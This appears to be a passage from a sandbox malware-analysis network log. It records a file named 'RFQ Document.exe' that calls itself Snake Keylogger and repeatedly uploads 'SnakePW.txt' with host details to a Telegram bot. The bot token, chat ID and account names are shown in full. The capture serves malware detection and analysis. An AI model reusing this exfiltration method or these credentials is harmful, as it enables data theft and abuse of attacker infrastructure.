2021-09-28 05:59:44 UTC	441	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 33 66 38 32 33 39 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f3f8239eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:44 UTC	441	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:44 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:44 UTC	442	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 36 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12866,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808784,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
278	192.168.2.4	50115	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:45 UTC	442	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f41721ba Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:45 UTC	443	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 34 31 37 32 31 62 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f41721baContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:45 UTC	443	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:45 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:45 UTC	443	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 36 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12867,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808785,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
279	192.168.2.4	50116	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:45 UTC	444	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f42efb39 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:45 UTC	444	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 34 32 65 66 62 33 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f42efb39Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:45 UTC	445	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:45 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:45 UTC	445	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 36 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12868,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808785,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.4	49802	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:26 UTC	44	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c53eb995 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:26 UTC	44	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 35 33 65 62 39 39 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c53eb995Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:26 UTC	45	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:26 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:26 UTC	45	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 30 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12608,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808706,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
280	192.168.2.4	50117	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:45 UTC	446	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f4446dae Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:45 UTC	446	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 34 34 34 36 64 61 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f4446daeContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:45 UTC	446	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:45 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:45 UTC	447	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 36 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12869,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808785,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
281	192.168.2.4	50118	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:45 UTC	447	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f4636ccf Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:45 UTC	447	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 34 36 33 36 63 63 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f4636ccfContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:45 UTC	448	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:45 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:45 UTC	448	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 37 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12870,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808785,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
282	192.168.2.4	50119	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:45 UTC	449	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f47b43a1 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:45 UTC	449	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 34 37 62 34 33 61 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f47b43a1Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:45 UTC	449	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:45 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:45 UTC	450	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 37 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12871,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808785,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
283	192.168.2.4	50120	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:45 UTC	450	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f490b922 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:45 UTC	451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 34 39 30 62 39 32 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f490b922Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
